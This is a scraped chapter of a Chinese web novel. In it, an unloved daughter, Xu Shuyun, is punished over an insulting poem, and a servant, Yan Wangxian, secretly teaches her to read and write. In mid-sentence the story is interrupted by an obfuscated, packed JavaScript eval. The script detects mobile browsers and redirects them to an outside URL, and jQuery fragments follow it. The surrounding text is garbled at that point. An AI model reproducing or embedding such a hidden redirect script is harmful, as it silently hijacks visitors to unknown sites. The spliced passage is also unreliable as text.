默认冷灰
24号文字
方正启体

13. 流云蔽眼

作者:荔枝棉本书字数:K更新时间:
    十四岁的徐姝云跪在主屋,纪如夷端坐在太师椅上,手里那串紫檀珠转得飞快,倒像是攥着刀柄的架势。


    “你倒是好教养,学这样的诗。”纪如夷的声音比军营里浸了雪的刀刃还冷。


    徐姝云吓得立即俯在地上,“母亲明鉴,我实不知这诗是何意,冒犯了母亲,还请母亲宽恕。”


    纪如夷冷笑:“那这诗是哪来的?”


    徐姝云心里清楚,即便自己说这诗是徐树晋给的,有邹姨娘护着她这个大哥哥,纪如夷也不能拿他怎么样,反倒是自己,恐怕会被徐树晋记恨上,那她在这府里的日子可就更难熬了。


    纪如夷道:“说话!难不成你嘴里有帕子塞着?”


    徐姝云正要认下,正屋的门开了。


    徐复仁眉头微挑,“吵嚷什么?”


    纪如夷怒火更甚,把纸团扔在地上,“你养的好女儿,平白学这样的诗来轻贱我。”


    徐姝云换个了方向跪,向徐复仁叩头道:“父亲,女儿是无心的!”


    徐复仁板着脸捡起纸团,展开后只见上面写着“主母下堂妾升床,乃使黄裳而绿衣”,他没有理会地上跪着的陆姝云,对纪如夷道:“她连学堂都没去过,怎会学这样的诗。”


    纪如夷讽刺道:“她不识字,那这诗是哪来的?”


    徐复仁脸上尽是不耐,“这么点小事还要阖府彻查一番不成?”


    纪如夷正要发作,小厮来报,邹姨娘备了枇杷雪梨汤,请徐复仁过去用些。


    徐复仁没理会纪如夷越来越难看的脸色,径直往邹姨娘房里去了。


    旁边的老妈子极有眼力价,对纪如夷道:“夫人,别为不相干的人气坏了身子,时候不早了,奴婢伺候您去梳洗安寝吧。”


    众人都散了,该睡觉的睡觉,该值夜的值夜,主屋里只剩下徐姝云一人,纪如夷没让她起来,她也不敢动,就这么跪着。


    内室,贴身丫鬟给纪如夷梳头,说道:“奴婢看今天她说的不像撒谎的样子,或许她真不知道那诗的意思。”


    纪如夷道:“她大字不识,此事与邹怜漪那贱人脱不了干系。”


    丫鬟忿忿道:“老爷肯定知道,只是居然就这么放过了邹姨娘。”


    这话戳到了纪如夷的痛处,“这几十年,不都是这样吗,如今已经踩到我脸上来了。”


    丫鬟开解道:“夫人且宽心,二公子是嫡子,以后这家业尽是二公子的,到时这家里上上下下还不全听您的。”


    纪如夷没再说话,她日后如何掌权有什么要紧,她一生最好的时光都葬送在这里了。


    丫鬟道:“夫人,正屋里那位还跪着呢。”


    纪如夷道:“让她起来吧,她是太过畏惧邹怜漪,才不肯说出实情。”


    正屋里,徐姝云膝盖早已没了知觉,艰难地起身,一步一踉跄回了自己房中。


    第二日,徐姝云正在院子里捡花枝打发时间,徐树晋去学堂路过这里,一声招呼也不打便走进来。


    “大哥来了。”


    徐树晋踢了一脚地上剪下的花叶,“昨天母亲罚你了,你可有说什么?”


    徐姝云懂事地一笑,“大哥放心,我并没有跟母亲说那诗是你教我的。大哥好意教我识字,我心里感激不已。”


    徐树晋道:“一首诗而已,有什么要紧,母亲为免太小题大做。”


    徐姝云道:“母亲昨日动了气,大哥不必忧心,父亲和邹姨娘都护着你。”


    徐树晋想到徐复仁平日对他的偏袒,心里得意不已,迈着方步离开了。


    徐树晋前脚刚走,严望弦就来了,他站在院外恭敬地弯腰,“小姐,二公子命小的来给您送些药膏来。”


    徐姝云道:“快进来,坐。”


    严望弦进了院子,却并没坐下,“二公子听说小姐被夫人责罚,特意命小的选了上好的药膏送来。”


    徐姝云道:“树行年纪小,想事情却周全,才跪了两个时辰,不疼的。”


    严望弦心生同情,她的日子实在不好过,不由得说了句僭越的话,“小姐,以后大公子给您的东西,您要留心些。”


    徐姝云叹了口气,手指碾着花瓣,“我都明白,我只是想学几个字,我亲生母亲没了,这个家里除了树行和你,再没有人管我,针线女红我尚且能自己摸索,不过是手指多被针刺几下罢了,可我进不得学堂,读书识字于我如白日说梦,我瞧着大哥和树行日日去书堂读书写字,心里实在羡慕得很。”


    严望弦犹豫着开口:“小姐若不嫌弃,小的……”他有些后悔,他们之间身份有别,便及时止住了后半句话。


    徐姝云抬头期待地看向他。


    对上了她的目光,不知怎的,他居然脱口而出,“小的可以教您。”


    徐姝云惊喜道:“真的吗?望弦你可以教我读书?!”


    严望弦看着她高兴成这样,也心情也忍不住愉悦起来,“小的每日陪二公子去学堂、写功课,还是认得几个字的。”


    徐姝云道:“太谢谢你了望弦,除了树行,就你对我最好了。”她拿起剪刀,剪下花盆里开得最好的那朵花,塞到严望弦手里。


    严望弦也没拒绝,垂眼看花,粉白的花瓣卷着边,像她方才笑眼弯弯的眼睫。


    日暮时分,二人在西南角小花园里见面。


    这个小花园里原种了许多花,后来邹怜漪嫌要移栽银杏树进来,嫌这里太过狭小,命人修了更大的园子,这里便渐渐荒废了,平时鲜有人来。


    严望弦到小花园时,徐姝云正蹲在那里不知在看什么。


    “小姐。”


    “你来啦,地上有两个虫子在打架呢。徐姝云站起身拍拍身上的土,“今天我们学什么呀?


    严望弦从袖口里拿出几张折叠的纸,“先从识字开始,今天先学这几个字。”


    徐姝云凑过来看他手里的字,道:“这是你写的吗?我看过大哥的字,你写的比他好上许多呢,你长得好看,字也好看,这叫什么来着?哦,字如其人。”


    严望弦觉得脸上有些热,道:“小的不敢当。”


    他微微弯着腰,偏偏徐姝云腰弯得比他还低,笑意融融地看着他的脸,”不敢当字好看还是不敢当人好看呀?我看你这字可以和树行房里挂着的那副比一比了,至于这人嘛,我以后嫁的郎君能似你半分,我也心满意足了。”


    这番话说得严望弦面红耳赤,抿着嘴唇说不出话来。


    徐姝云笑道:“好了不逗你了,”她指着纸上的黑字,“这个字念什么呀?”


    严望弦定了定神,耐心地一字一字读给她听,她学的极快,二十几个字片刻间便学会了。


    徐姝云把纸张叠起来,“还好树行读医书时不喜人打扰,你才能得空出来,时候不早了,你赶快回去吧。”


    严望弦行了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350461|183571||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    礼正欲离开,徐姝云叫住他。


    “望弦。”


    严望弦回头。


    徐姝云道:“我今日说的话,你可别嫌我轻佻,这话我只跟你一个人说,倘若我日后的郎君能像你这样,我此生也无憾了,在我心里,你是个很好很好的人。”


    严望弦道:“小姐……”


    徐姝云诚恳道:“望弦,这府里人人都嫌我多余,我还记得小时候没人跟我玩,只有你,会寻些好玩的给我,那个竹蜻蜓我都好好留着呢,我一直拿你当好朋友。”


    严望弦嘴唇微张,正要说话,徐姝云一把捂住了他的嘴。


    “你可别再说什么‘小的不敢’了,你要是这么说,我就真的一个朋友都没有了。”


    严望弦嘴巴被她捂住,说不出来话,只得点了几下头。


    徐姝云这才放开他,笑道:“好了,你快回去吧。”


    严望弦木木地往回走,心里有一个声音反复重复着“朋友”二字。


    徐姝云看着他呆头呆脑的样子,噗嗤一声笑了出来。


    两人日日都在小花园见面,徐姝云认真学,严望弦耐心教,几个月下来,一些常用字徐姝云都认得差不多了,严望弦便拿了书来,教她学诗。


    “这个我都认得!”


    严望弦温声道:“那你读读看。”


    徐姝云逐字读道:“不畏浮云遮望眼,自缘身在最高层。”


    严望弦道:“不错。”他声音温柔,如春风拂过柳梢,“这句诗的意思是,窗外的云能把日头都遮得严严实实,可若是登得高些,站在那山巅上,云便挡不住视线了。”


    徐姝云喃喃道:“自缘身在最高层……”


    “怎么了?是我哪里说得不清楚吗?”


    徐姝云摇头,“没有,我都记住了,我喜欢这句诗。”


    严望弦道:我也喜欢。”目光却落在了前半句。


    “我来教你写吧。”他将宣纸平铺在石桌上,“握笔要虚,运笔要稳。”说着,他的手微微用力,笔下的线条变得粗壮有力,随后又轻轻一带,线条又变得纤细柔美。


    徐姝云跃跃欲试,“我来试试。”她接过笔,笔尖刚接触纸的瞬间,墨迹在纸上洇开一小团。


    “哎,我重新写。”


    “慢慢来,落笔时要让笔尖像踮着脚走路,轻重快慢都由心牵着。”他声音轻得像落在宣纸上的墨点。


    宣纸换过三张,徐姝云写完了这几个字。


    “你看,我写的对不对?”


    她的字像是刚学步的孩童站不稳当,横画像被风吹弯的草茎,斜斜地拖出老长,竖画像根扎进土里的细柴,墨汁晕得没边,笔画黏在一块儿,分不清谁是谁,倒像是被雨打湿的乱柴堆。


    严望弦眼中满是赞赏:“第一次就能写成这样,已是极好了。”


    “真的吗?那我把它送给你。”


    徐姝云再次提笔,在上面写下歪歪斜斜的三个字:赠望弦。


    “你的名字是这么写的吧?我应该没有记错。”


    严望弦轻点头。


    “送给你,这可是我的第一幅字,意义非凡的字送给意义非凡的人。”


    严望弦接过,似对待什么珍贵的礼物一般细细摩挲,心里有什么东西破土而出,疯长蔓延,比这园子里的野草还要茂盛。


    春去秋来,已过四载,陆姝云不仅熟读医书,还写的一手好字。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)